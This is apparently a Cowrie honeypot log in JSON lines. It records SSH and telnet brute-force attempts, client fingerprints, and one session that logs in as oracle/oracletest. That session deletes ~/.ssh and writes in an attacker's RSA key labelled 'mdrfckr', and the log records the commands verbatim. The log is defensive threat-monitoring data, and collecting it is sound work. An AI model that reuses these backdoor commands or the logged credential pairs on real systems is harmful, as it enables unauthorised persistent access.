{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52840,"dst_ip":"159.203.135.109","dst_port":23,"session":"e034943bb1a8","protocol":"telnet","message":"New connection: 134.209.8.29:52840 (159.203.135.109:23) [session: e034943bb1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:37.419485Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48026,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4676710806e","protocol":"telnet","message":"New connection: 38.54.119.93:48026 (10.17.0.5:23) [session: b4676710806e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:38.193441Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52856,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a381d229460","protocol":"telnet","message":"New connection: 134.209.8.29:52856 (159.203.135.109:23) [session: 3a381d229460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:38.793915Z"}
{"eventid":"cowrie.session.closed","duration":42.850754499435425,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:44.558775Z","src_ip":"38.54.119.93","session":"f45674f702f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.460360527038574,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:44.906635Z","src_ip":"134.209.8.29","session":"75093d2df524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52862,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a7956b158f1","protocol":"telnet","message":"New connection: 134.209.8.29:52862 (159.203.135.109:23) [session: 0a7956b158f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:47.004432Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.46.137.48","src_port":52224,"dst_ip":"159.203.135.109","dst_port":23,"session":"48538b425df8","protocol":"telnet","message":"New connection: 181.46.137.48:52224 (159.203.135.109:23) [session: 48538b425df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:47.733040Z"}
{"eventid":"cowrie.session.closed","duration":48.93870258331299,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:47.985045Z","src_ip":"134.209.8.29","session":"d9ce5e5806ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.094584226608276,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:48.153656Z","src_ip":"134.209.8.29","session":"200fd7784997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1902408599853516,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:49.194538Z","src_ip":"134.209.8.29","session":"0a7956b158f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":53580,"dst_ip":"10.17.0.5","dst_port":22,"session":"d688c4913aa7","protocol":"ssh","message":"New connection: 147.50.231.135:53580 (10.17.0.5:22) [session: d688c4913aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:52.853619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:52.858778Z","src_ip":"147.50.231.135","session":"d688c4913aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:53.121797Z","src_ip":"147.50.231.135","session":"d688c4913aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.703964710235596,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:53.587213Z","src_ip":"134.209.8.29","session":"4c7a15964c0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy12345678","message":"login attempt [deploy/deploy12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:54.205954Z","src_ip":"147.50.231.135","session":"d688c4913aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":24714,"dst_ip":"159.203.135.109","dst_port":22,"session":"410d8577506a","protocol":"ssh","message":"New connection: 94.156.152.18:24714 (159.203.135.109:22) [session: 410d8577506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:55.341192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:55.349631Z","src_ip":"94.156.152.18","session":"410d8577506a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:55.476941Z","src_ip":"94.156.152.18","session":"410d8577506a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:55.487915Z","src_ip":"147.50.231.135","session":"d688c4913aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN4VCPU16GBAMD","message":"login attempt [root/QUEEN4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:55.863960Z","src_ip":"94.156.152.18","session":"410d8577506a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:56.994804Z","src_ip":"94.156.152.18","session":"410d8577506a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48030,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1cb54c71748","protocol":"telnet","message":"New connection: 134.209.8.29:48030 (159.203.135.109:23) [session: d1cb54c71748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:58.643440Z"}
{"eventid":"cowrie.session.closed","duration":12.540376901626587,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:00.273294Z","src_ip":"181.46.137.48","session":"48538b425df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.27183437347412,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:02.047051Z","src_ip":"38.54.119.93","session":"abaae7385f2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.469724655151367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:06.551194Z","src_ip":"194.233.64.34","session":"080f84bb3bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.978705644607544,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:09.135758Z","src_ip":"134.209.8.29","session":"4ddd57b68be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d67642bae990","protocol":"telnet","message":"New connection: 134.209.8.29:50220 (159.203.135.109:23) [session: d67642bae990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:09.644314Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":47646,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b258a7c9c98","protocol":"telnet","message":"New connection: 194.233.64.34:47646 (159.203.135.109:23) [session: 3b258a7c9c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:14.565428Z"}
{"eventid":"cowrie.session.closed","duration":42.16365075111389,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:16.028621Z","src_ip":"38.54.119.93","session":"2d09e4e74740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50652,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc9fa7a9c2c","protocol":"telnet","message":"New connection: 134.209.8.29:50652 (159.203.135.109:23) [session: 3fc9fa7a9c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:22.660074Z"}
{"eventid":"cowrie.session.closed","duration":46.04164791107178,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:24.235002Z","src_ip":"38.54.119.93","session":"b4676710806e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":45244,"dst_ip":"10.17.0.5","dst_port":22,"session":"209254d36d5e","protocol":"ssh","message":"New connection: 150.95.157.171:45244 (10.17.0.5:22) [session: 209254d36d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:24.905185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:24.910641Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.25663757324219,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:25.050405Z","src_ip":"134.209.8.29","session":"3a381d229460","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:25.076455Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracletest","message":"login attempt [oracle/oracletest] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:25.753739Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.172918Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.177043Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.181460Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.350191Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.715525Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.718864Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.886794Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:26.890471Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46058,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f01f5f21763","protocol":"ssh","message":"New connection: 150.95.157.171:46058 (10.17.0.5:22) [session: 9f01f5f21763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:27.036548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:27.041224Z","src_ip":"150.95.157.171","session":"9f01f5f21763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:27.195423Z","src_ip":"150.95.157.171","session":"9f01f5f21763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:27.844654Z","src_ip":"150.95.157.171","session":"9f01f5f21763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:29.005002Z","src_ip":"150.95.157.171","session":"9f01f5f21763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46692,"dst_ip":"10.17.0.5","dst_port":22,"session":"4592368c0dcb","protocol":"ssh","message":"New connection: 150.95.157.171:46692 (10.17.0.5:22) [session: 4592368c0dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:29.154617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:29.165177Z","src_ip":"150.95.157.171","session":"4592368c0dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 